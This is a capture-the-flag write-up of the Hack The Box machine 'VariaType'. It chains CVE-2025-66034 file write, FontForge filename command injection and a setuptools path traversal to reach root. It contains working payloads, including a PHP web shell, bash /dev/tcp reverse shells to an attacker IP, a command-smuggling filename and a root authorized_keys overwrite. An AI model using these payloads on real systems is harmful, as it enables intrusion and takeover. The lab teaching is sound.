Description

VariaType is a medium Hack The Box machine that features:

  • Arbitrary File Write in a web application using Python fontTools library
  • Subdomain Enumeration to find a management dashboard
  • Upload of malicious PHP file leads to Remote Command Execution
  • User Pivoting by leveraging Command Injection vulnerability in Python FontForge library
  • Privilege Escalation via a vulnerable Python script executable by root allowing Arbitrary File Write

Footprinting

First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.129.10.139.

$ ping -c 3 10.129.10.139
PING 10.129.10.139 (10.129.10.139) 56(84) bytes of data.
64 bytes from 10.129.10.139: icmp_seq=1 ttl=63 time=63.0 ms
64 bytes from 10.129.10.139: icmp_seq=2 ttl=63 time=43.0 ms
64 bytes from 10.129.10.139: icmp_seq=3 ttl=63 time=43.5 ms

--- 10.129.10.139 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 42.965/49.791/62.955/9.310 ms

The machine is active and with the TTL that equals 63 (64 minus 1 jump) we can assure that it is an Unix machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.

$ sudo nmap 10.129.10.139 -sS -Pn -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.10.139
Host is up (0.044s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 4.34 seconds

We get two open ports, 22, and 80 .

Enumeration

Then we do a more advanced scan, with service version and scripts.

$ nmap 10.129.10.139 -Pn -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.10.139
Host is up (0.049s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA)
|_  256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://variatype.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.18 seconds

We get the SSH service and the HTTP service. We find the variatype.htb subdomain, we add it to the /etc/hosts file.

echo "10.129.10.139 variatype.htb" | sudo tee -a /etc/hosts

After opening the page, we find the VariaType Labs web-page allowing to generate variable fonts with .designspace and master font files. Enumerating for other services, we find a subdomain, portal.variatype.htb. We add it to the /etc/hosts file.

$ gobuster vhost -u variatype.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain -o vhost_enumeration -r -t 50
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://variatype.htb
[+] Method:                    GET
[+] Threads:                   50
[+] Wordlist:                  /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:                gobuster/3.8
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
portal.variatype.htb Status: 200 [Size: 2494]

echo "10.129.10.139 portal.variatype.htb" | sudo tee -a /etc/hosts

We find that the portal subdomain holds an internal validation portal for uploaded fonts. The dashboard is behind a login and we do not have credentials. We are going to search for hidden directories in the server.

$ gobuster dir -u 'http://portal.variatype.htb/' -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 50
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://portal.variatype.htb/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.git/config          (Status: 200) [Size: 143]
/.git                 (Status: 301) [Size: 169] [--> http://portal.variatype.htb/.git/]
/.git/index           (Status: 200) [Size: 137]
/.git/logs/           (Status: 403) [Size: 153]
/.git/HEAD            (Status: 200) [Size: 23]
/files                (Status: 301) [Size: 169] [--> http://portal.variatype.htb/files/]
/index.php            (Status: 200) [Size: 2494]
Progress: 4750 / 4750 (100.00%)

We find that a Git repository is available on the server which may contain the source code of the application, let’s download and enumerate it with git-dumper tool. There is also a files folder.

$ git-dumper http://portal.variatype.htb/.git/ variatypeportal_git                                            
[-] Testing http://portal.variatype.htb/.git/HEAD [200]
[-] Testing http://portal.variatype.htb/.git/ [403]
[-] Fetching common files
...
$ cd variatypeportal_git
$ ls
auth.php
$ git log
commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master)
Author: Dev Team <dev@variatype.htb>
Date:   Fri Dec 5 15:59:33 2025 -0500

    fix: add gitbot user for automated validation pipeline

commit 5030e791b764cb2a50fcb3e2279fea9737444870
Author: Dev Team <dev@variatype.htb>
Date:   Fri Dec 5 15:57:57 2025 -0500

    feat: initial portal implementation
$ git diff 753b5f5957f2020480a19bf29a0ebc80267a4a3d
diff --git a/auth.php b/auth.php
index b328305..615e621 100644
--- a/auth.php
+++ b/auth.php
@@ -1,5 +1,3 @@
 <?php
 session_start();
-$USERS = [
-    'gitbot' => 'G1tB0t_Acc3ss_2025!'
-];
+$USERS = [];

We find that in the repository there is only one file, auth.php, without credentials. But if we enumerate previous commits we find the password of the gitbot user, G1tB0t_Acc3ss_2025!. We can login in the dashboard with this credential. We find that there is not uploaded fonts. We return to the main web application. Searching for information about designspace files, we find that the Python fontTools library uses them. Versions previous to 4.60.2 are vulnerable to Arbitrary File Write and XML injection when generating variables fonts, as this case, CVE-2025-66034. As we have a proof of concept of the vulnerability, we are going to test it here.

Exploitation

We create the setup.py file as in the proof of concept code:

#!/usr/bin/env python3
import os

from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen

def create_source_font(filename, weight=400):
    fb = FontBuilder(unitsPerEm=1000, isTTF=True)
    fb.setupGlyphOrder([".notdef"])
    fb.setupCharacterMap({})
    
    pen = TTGlyphPen(None)
    pen.moveTo((0, 0))
    pen.lineTo((500, 0))
    pen.lineTo((500, 500))
    pen.lineTo((0, 500))
    pen.closePath()
    
    fb.setupGlyf({".notdef": pen.glyph()})
    fb.setupHorizontalMetrics({".notdef": (500, 0)})
    fb.setupHorizontalHeader(ascent=800, descent=-200)
    fb.setupOS2(usWeightClass=weight)
    fb.setupPost()
    fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"})
    fb.save(filename)

if __name__ == '__main__':
    os.chdir(os.path.dirname(os.path.abspath(__file__)))
    create_source_font("source-light.ttf", weight=100)
    create_source_font("source-regular.ttf", weight=400)

Then we create the malicious.designspace as in the proof of concept code, but this time we will change the Arbitrary File Write target for the /tmp/malicious file, using Path Traversal.

<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
  </axes>
  
  <sources>
    <source filename="source-light.ttf" name="Light">
      <location>
        <dimension name="Weight" xvalue="100"/>
      </location>
    </source>
    <source filename="source-regular.ttf" name="Regular">
      <location>
        <dimension name="Weight" xvalue="400"/>
      </location>
    </source>
  </sources>
  
  <!-- Filename can be arbitrarily set to any path on the filesystem -->
  <variable-fonts>
    <variable-font name="MaliciousFont" filename="../../../../../tmp/malicious">
      <axis-subsets>
        <axis-subset name="Weight"/>
      </axis-subsets>
    </variable-font>
  </variable-fonts>
</designspace>

We run the setup.py file to create the first two master fonts to be uploaded to the server. Two fonts source-light.ttf and source-regular.ttf are generated.

$ python setup.py
$ ls
malicious.designspace  setup.py  source-light.ttf  source-regular.ttf

Now we can click in the Generate Your Variable Font to get redirected to the form in which we can upload the font. In the .designspace File form we will select the malicious.designspace file. And in the Master Fonts (.ttf or .otf) form we will select the two fonts we selected previously. We click Generate Variable Font to generate the font. We find that the process was successful. We assume that the vulnerability worked and the malicious file was written at the /tmp directory. We are going to repeat the process but this time we will change the file to write from ../../../../../tmp/malicious to ../../../../../etc/malicious. Now it should trigger an error as the application should not have permission to write in that directory. So we can confirm that the file writing is happening. Now the font generation failed: Moving to the portal dashboard we find the previously uploaded font. The font available to download have the variabype_<RANDOM>.ttf file format. The web dashboard is located in the http://portal.variatype.htb/dashboard.php URL. If we have write permission in the server folder, we may upload a malicious PHP file to trigger Remote Command Execution with a reverse shell, but first we need to find the folder where is the server located. We firstly assume that the web server is in the /var/www/portal.variatype.htb folder.

If we try to write a file to the directory (../../../../../var/www/portal.variatype.htb/) we get an error. That means that the directory may not exist or that the user running the server does not have permission to write files. We are going to brute-force uploads inside the portal.variatype.htb directory with a script to find if a sub-directory exists where the server files are located. We will use the /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt dictionary. To use the Python script we need to change the filename value (previously ../../../../../etc/malicious) to MALICIOUSFILE.

#!/usr/bin/env python3
"""
Variatype Directory Brute Force Script

Description
-----------
This script brute-forces a hidden directory on the target server by abusing the
variable font generator endpoint.

For each entry in the provided wordlist, the script:

1. Reads the file `malicious.designspace`, which contains the placeholder
   string `MALICIOUSFILE`.

2. Replaces `MALICIOUSFILE` with a crafted path of the form:
   ../../../../../var/www/portal.variatype.htb/<word>/malicious

3. Saves the modified content to a temporary designspace file.

4. Sends a multipart/form-data POST request to the endpoint:
   http://variatype.htb/tools/variable-font-generator/process

   The request contains three files:
     - designspace → malicious.designspace (modified dynamically)
     - masters → source-regular.ttf
     - masters → source-light.ttf

5. The server responds with a 302 redirect which the script automatically
   follows.

6. The final HTML response is inspected:
     - If the text "Font generation failed during processing." is present,
       the attempt failed and the script continues with the next word.

     - If the text is NOT present, a potential valid directory has been found.

7. To confirm the result, the script checks the URL:
     http://portal.variatype.htb/malicious

8. If the file exists (HTTP 200), the directory is considered valid and the
   script stops execution.

Requirements
------------
- Python 3
- requests library

Usage
-----
Place the following files in the same directory:
  - malicious.designspace
  - source-regular.ttf
  - source-light.ttf

Then run:

    python3 bruteforce_font.py
"""

import requests
import sys

TARGET_URL = "http://variatype.htb/tools/variable-font-generator/process"
CHECK_URL = "http://portal.variatype.htb/malicious"
WORDLIST = "/usr/share/wordlists/seclists/Discovery/Web-Content/common.txt"

DESIGNSPACE_TEMPLATE = "malicious.designspace"
TTF_REGULAR = "source-regular.ttf"
TTF_LIGHT = "source-light.ttf"

FAIL_TEXT = "Font generation failed during processing."

session = requests.Session()


def create_designspace(payload_path):
    """
    Replace MALICIOUSFILE inside malicious.designspace
    with the brute-forced payload path.
    """
    with open(DESIGNSPACE_TEMPLATE, "r") as f:
        content = f.read()

    content = content.replace("MALICIOUSFILE", payload_path)

    temp_file = "temp.designspace"
    with open(temp_file, "w") as f:
        f.write(content)

    return temp_file


def send_request(designspace_file):
    """
    Send the multipart/form-data POST request to the vulnerable endpoint.
    """
    files = [
        ("designspace", ("malicious.designspace", open(designspace_file, "rb"), "application/xml")),
        ("masters", ("source-regular.ttf", open(TTF_REGULAR, "rb"), "font/ttf")),
        ("masters", ("source-light.ttf", open(TTF_LIGHT, "rb"), "font/ttf")),
    ]

    response = session.post(TARGET_URL, files=files, allow_redirects=True)
    return response


def verify_upload():
    """
    Verify if the malicious file is accessible.
    """
    try:
        response = session.get(CHECK_URL, timeout=5)
        if response.status_code == 200:
            return True
    except requests.RequestException:
        pass

    return False


def main():

    with open(WORDLIST, "r") as f:
        words = [w.strip() for w in f]

    for word in words:

        payload = f"../../../../../var/www/portal.variatype.htb/{word}/malicious"
        print(f"[+] Trying directory: {word}")

        designspace_file = create_designspace(payload)

        response = send_request(designspace_file)

        if FAIL_TEXT in response.text:
            continue

        print(f"[!] Potential directory discovered: {word}")
        print("[*] Verifying file upload...")

        if verify_upload():
            print(f"[SUCCESS] Valid directory found: {word}")
            print(f"[SUCCESS] File accessible at: {CHECK_URL}")
            sys.exit(0)

    print("[-] No valid directory found in the wordlist")


if __name__ == "__main__":
    main()

After running the script we find the directory we were looking for, public.

$ python script.py
...
[+] Trying directory: public
[!] Potential directory discovered: public
[*] Verifying file upload...
[SUCCESS] Valid directory found: public
[SUCCESS] File accessible at: http://portal.variatype.htb/malicious

Now we move to edit the malicious.designspace file to edit the file to write to ../../../../../var/www/portal.variatype.htb/public/reverseshell.php. We also edit the axis XML tag to add the command that will trigger the reverse shell. The file now is as this:

<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
	    <labelname xml:lang="en"><![CDATA[<?php echo shell_exec("echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE1LjIyNy8xMjM0IDA+JjE= | base64 -d | bash");?>]]]]><![CDATA[>]]></labelname>
    </axis>
  </axes>
  
  <sources>
    <source filename="source-light.ttf" name="Light">
      <location>
        <dimension name="Weight" xvalue="100"/>
      </location>
    </source>
    <source filename="source-regular.ttf" name="Regular">
      <location>
        <dimension name="Weight" xvalue="400"/>
      </location>
    </source>
  </sources>
  
  <!-- Filename can be arbitrarily set to any path on the filesystem -->
  <variable-fonts>
    <variable-font name="MaliciousFont" filename="../../../../../var/www/portal.variatype.htb/public/reverseshell.php">
      <axis-subsets>
        <axis-subset name="Weight"/>
      </axis-subsets>
    </variable-font>
  </variable-fonts>
</designspace>

We start a listening TCP port listening in port 1234 with the nc -nvlp 1234 command, we upload the files and we finally trigger the vulnerability by calling to the http://portal.variatype.htb/reverseshell.php file.

$ curl http://portal.variatype.htb/reverseshell.php

We receive a reverse shell as the www-data, we upgrade it.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.15.227] from (UNKNOWN) [10.129.10.139] 39372
bash: cannot set terminal process group (3490): Inappropriate ioctl for device
bash: no job control in this shell
www-data@variatype:~/portal.variatype.htb/public$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@variatype:~/portal.variatype.htb/public$ ^Z
$ stty raw -echo; fg                                                               $ reset xterm
www-data@variatype:~/portal.variatype.htb/public$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156

Post-Exploitation

We find two console users in the system: root and steve.

www-data@variatype:~/portal.variatype.htb/public$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
steve:x:1000:1000:steve,,,:/home/steve:/bin/bash

We are going to use pspy tool to check for running processes in the system in fixed interval of time (Cron).

www-data@variatype:~/portal.variatype.htb/public$ cd /tmp
www-data@variatype:/tmp$ wget http://10.10.15.227/pspy64
www-data@variatype:/tmp$ chmod +x pspy64
www-data@variatype:/tmp$ ./pspy64
...
CMD: UID=1000  PID=9586   | /bin/bash /home/steve/bin/process_client_submissions.sh 
CMD: UID=1000  PID=9587   | 
CMD: UID=1000  PID=9588   | /usr/local/src/fontforge/build/bin/fontforge -lang=py -c 
import fontforge
import sys
try:
    font = fontforge.open('variabype_l3DrENPw3Ig.ttf')
    family = getattr(font, 'familyname', 'Unknown')
    style = getattr(font, 'fontname', 'Default')
    print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
    font.close()
except Exception as e:
    print(f'ERROR: Failed to process variabype_l3DrENPw3Ig.ttf: {e}', file=sys.stderr)
    sys.exit(1)

We find that steve user is running the /home/steve/bin/process_client_submissions.sh script. It seems that is using fontforge to load and analyze the uploaded fonts. We find a copy of the script in the /opt/process_client_submissions.bak directory.

www-data@variatype:/tmp$ cat /opt/process_client_submissions.bak
#!/bin/bash
#
# Variatype Font Processing Pipeline
# Author: Steve Rodriguez <steve@variatype.htb>
# Only accepts filenames with letters, digits, dots, hyphens, and underscores.
#

set -euo pipefail

UPLOAD_DIR="/var/www/portal.variatype.htb/public/files"
PROCESSED_DIR="/home/steve/processed_fonts"
QUARANTINE_DIR="/home/steve/quarantine"
LOG_FILE="/home/steve/logs/font_pipeline.log"

mkdir -p "$PROCESSED_DIR" "$QUARANTINE_DIR" "$(dirname "$LOG_FILE")"

log() {
    echo "[$(date --iso-8601=seconds)] $*" >> "$LOG_FILE"
}

cd "$UPLOAD_DIR" || { log "ERROR: Failed to enter upload directory"; exit 1; }

shopt -s nullglob

EXTENSIONS=(
    "*.ttf" "*.otf" "*.woff" "*.woff2"
    "*.zip" "*.tar" "*.tar.gz"
    "*.sfd"
)

SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$'

found_any=0
for ext in "${EXTENSIONS[@]}"; do
    for file in $ext; do
        found_any=1
        [[ -f "$file" ]] || continue
        [[ -s "$file" ]] || { log "SKIP (empty): $file"; continue; }

        # Enforce strict naming policy
        if [[ ! "$file" =~ $SAFE_NAME_REGEX ]]; then
            log "QUARANTINE: Filename contains invalid characters: $file"
            mv "$file" "$QUARANTINE_DIR/" 2>/dev/null || true
            continue
        fi

        log "Processing submission: $file"

        if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
import sys
try:
    font = fontforge.open('$file')
    family = getattr(font, 'familyname', 'Unknown')
    style = getattr(font, 'fontname', 'Default')
    print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
    font.close()
except Exception as e:
    print(f'ERROR: Failed to process $file: {e}', file=sys.stderr)
    sys.exit(1)
"; then
            log "SUCCESS: Validated $file"
        else
            log "WARNING: FontForge reported issues with $file"
        fi

        mv "$file" "$PROCESSED_DIR/" 2>/dev/null || log "WARNING: Could not move $file"
    done
done

if [[ $found_any -eq 0 ]]; then
    log "No eligible submissions found."
fi

The script scans the upload directory /var/www/portal.variatype.htb/public/files for files with font-related extensions (e.g., .ttf, .otf, .woff, .zip). It enforces a strict filename policy allowing only letters, digits, dots, hyphens, and underscores; invalid names are moved to a quarantine directory. Valid files are opened with FontForge (Python mode) to verify that the font can be parsed and basic metadata (family/style) can be read. After processing, the file is logged and moved to /home/steve/processed_fonts, while errors or suspicious files are recorded in the log.

Splinefont in FontForge through 20230101 version allows command injection via crafted filenames, CVE-2024-25081. Archive extraction tricks can bypass the filename regex check in this script. The script only validates filenames after extraction, not the contents of uploaded archives (.zip, .tar, .tar.gz). Using tar, an attacker could try to bypass the filename filter by embedding a malicious filename inside the archive, because the script only validates filenames after they appear in the upload directory.

We are going to use this vulnerability to run a shell script (/tmp/shell.sh) that will spawn a reverse shell to our machine in port 1235 (we need to be listening with nc -nvlp 1235 command). We create the reverse shell file.

echo '/bin/bash -i >& /dev/tcp/10.10.15.227/1235 0>&1' > /tmp/shell.sh

We need to firstly use a valid font file, like the one we uploaded previously (variabype_7L3o8ADqkbM.ttf).

www-data@variatype:/tmp$ ls /var/www/portal.variatype.htb/public/files
variabype_7L3o8ADqkbM.ttf  variabype_Lp1JpK1PbjQ.ttf  variabype_l3DrENPw3Ig.ttf

We are going to use Python to create the .tar file as with Unix tar tool we cannot customize correctly the name of the file that will run the command (font_$(bash${IFS}/tmp/shell.sh).ttf).

import tarfile

source = "/var/www/portal.variatype.htb/public/files/variabype_7L3o8ADqkbM.ttf"
payload_name = "font_$(bash${IFS}/tmp/shell.sh).ttf"

with tarfile.open("/var/www/portal.variatype.htb/public/files/maliciousfont.tar", "w") as tar:
    tar.add(source, arcname=payload_name)

We run the Python script. We find that the .tar file was generated correctly.

www-data@variatype:/tmp$ python3 malicious.py
www-data@variatype:/tmp$ tar tf /var/www/portal.variatype.htb/public/files/maliciousfont.tar 
font_$(bash${IFS}/tmp/shell.sh).ttf

After a few minutes we receive a reverse shell as the steve user. We upgrade it.

$ nc -nvlp 1235
listening on [any] 1235 ...
connect to [10.10.15.227] from (UNKNOWN) [10.129.10.139] 45258
bash: cannot set terminal process group (9900): Inappropriate ioctl for device
bash: no job control in this shell
steve@variatype:/tmp/ffarchive-9901-1$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
steve@variatype:/tmp/ffarchive-9901-1$ ^Z
$ stty raw -echo; fg
$ reset xterm
steve@variatype:/tmp/ffarchive-9901-1$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156

We can run command as root user, the /opt/font-tools/install_validator.py with any argument.

steve@variatype:/tmp/ffarchive-9901-1$ sudo -l
Matching Defaults entries for steve on variatype:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User steve may run the following commands on variatype:
    (root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *
steve@variatype:/tmp/ffarchive-9901-1$ cat /opt/font-tools/install_validator.py
#!/usr/bin/env python3
"""
Font Validator Plugin Installer
--------------------------------
Allows typography operators to install validation plugins
developed by external designers. These plugins must be simple
Python modules containing a validate_font() function.

Example usage:
  sudo /opt/font-tools/install_validator.py https://designer.example.com/plugins/woff2-check.py
"""

import os
import sys
import re
import logging
from urllib.parse import urlparse
from setuptools.package_index import PackageIndex

# Configuration
PLUGIN_DIR = "/opt/font-tools/validators"
LOG_FILE = "/var/log/font-validator-install.log"

# Set up logging
os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s [%(levelname)s] %(message)s',
    handlers=[
        logging.FileHandler(LOG_FILE),
        logging.StreamHandler(sys.stdout)
    ]
)

def is_valid_url(url):
    try:
        result = urlparse(url)
        return all([result.scheme in ('http', 'https'), result.netloc])
    except Exception:
        return False

def install_validator_plugin(plugin_url):
    if not os.path.exists(PLUGIN_DIR):
        os.makedirs(PLUGIN_DIR, mode=0o755)

    logging.info(f"Attempting to install plugin from: {plugin_url}")

    index = PackageIndex()
    try:
        downloaded_path = index.download(plugin_url, PLUGIN_DIR)
        logging.info(f"Plugin installed at: {downloaded_path}")
        print("[+] Plugin installed successfully.")
    except Exception as e:
        logging.error(f"Failed to install plugin: {e}")
        print(f"[-] Error: {e}")
        sys.exit(1)

def main():
    if len(sys.argv) != 2:
        print("Usage: sudo /opt/font-tools/install_validator.py <PLUGIN_URL>")
        print("Example: sudo /opt/font-tools/install_validator.py https://internal.example.com/plugins/glyph-check.py")
        sys.exit(1)

    plugin_url = sys.argv[1]

    if not is_valid_url(plugin_url):
        print("[-] Invalid URL. Must start with http:// or https://")
        sys.exit(1)

    if plugin_url.count('/') > 10:
        print("[-] Suspiciously long URL. Aborting.")
        sys.exit(1)

    install_validator_plugin(plugin_url)

if __name__ == "__main__":
    if os.geteuid() != 0:
        print("[-] This script must be run as root (use sudo).")
        sys.exit(1)
    main()

This script is a root‑only installer for font validation plugins. It takes a single URL from the command line, performs basic checks to ensure it is an HTTP or HTTPS address and not unusually long, then uses Python’s PackageIndex downloader to fetch the file from that URL. The downloaded plugin is saved into /opt/font-tools/validators, and the process is logged to /var/log/font-validator-install.log while also printing status messages to the terminal. In essence, it allows typography operators to install external Python validator modules from the internet directly into the system plugin directory.

The script is vulnerable because it downloads a file from a user‑supplied URL and saves it as root using setuptools’s PackageIndex.download() without sanitizing the resulting file path. A path traversal vulnerability in PackageIndex was fixed in setuptools version 78.1.1, CVE-2025-47273. The filename is derived from the URL path, and URL‑encoded characters like %2F are decoded into /. This allows an attacker to craft a URL that resolves to an absolute path or path traversal, escaping the intended directory /opt/font-tools/validators. As a result, an attacker can perform an arbitrary file write anywhere on the filesystem with root privileges.

We can use this to write a public SSH key in the root directory to then create the session with SSH. We start by creating the directory when we will store the files and the create our own HTTP server.

$ mkdir -p server/root/.ssh/
$ ssh-keygen -t rsa -b 1024 -f id_rsa
$ cp id_rsa.pub server/root/.ssh/authorized_keys
$ python -m http.server 80 -d server

Then we trigger the vulnerability in the machine by downloading the file with path traversal %2Froot%2F.ssh%2Fauthorized_keys.

steve@variatype:/tmp/ffarchive-9901-1$ sudo python3 /opt/font-tools/install_validator.py http://10.10.15.227/%2Froot%2F.ssh%2Fauthorized_keys
[INFO] Attempting to install plugin from: http://10.10.15.227/%2Froot%2F.ssh%2Fauthorized_keys
[INFO] Downloading http://10.10.15.227/%2Froot%2F.ssh%2Fauthorized_keys
[INFO] Plugin installed at: /root/.ssh/authorized_keys
[+] Plugin installed successfully.

It worked, now we can create the SSH session.

$ ssh -i id_rsa root@variatype.htb   
...
root@variatype:~# id
uid=0(root) gid=0(root) groups=0(root)

Flags

In the root shell we can retrieve the user.txt and root.txt flags.

root@variatype:~# cat /home/steve/user.txt 
<REDACTED>
root@variatype:~# cat /root/root.txt 
<REDACTED>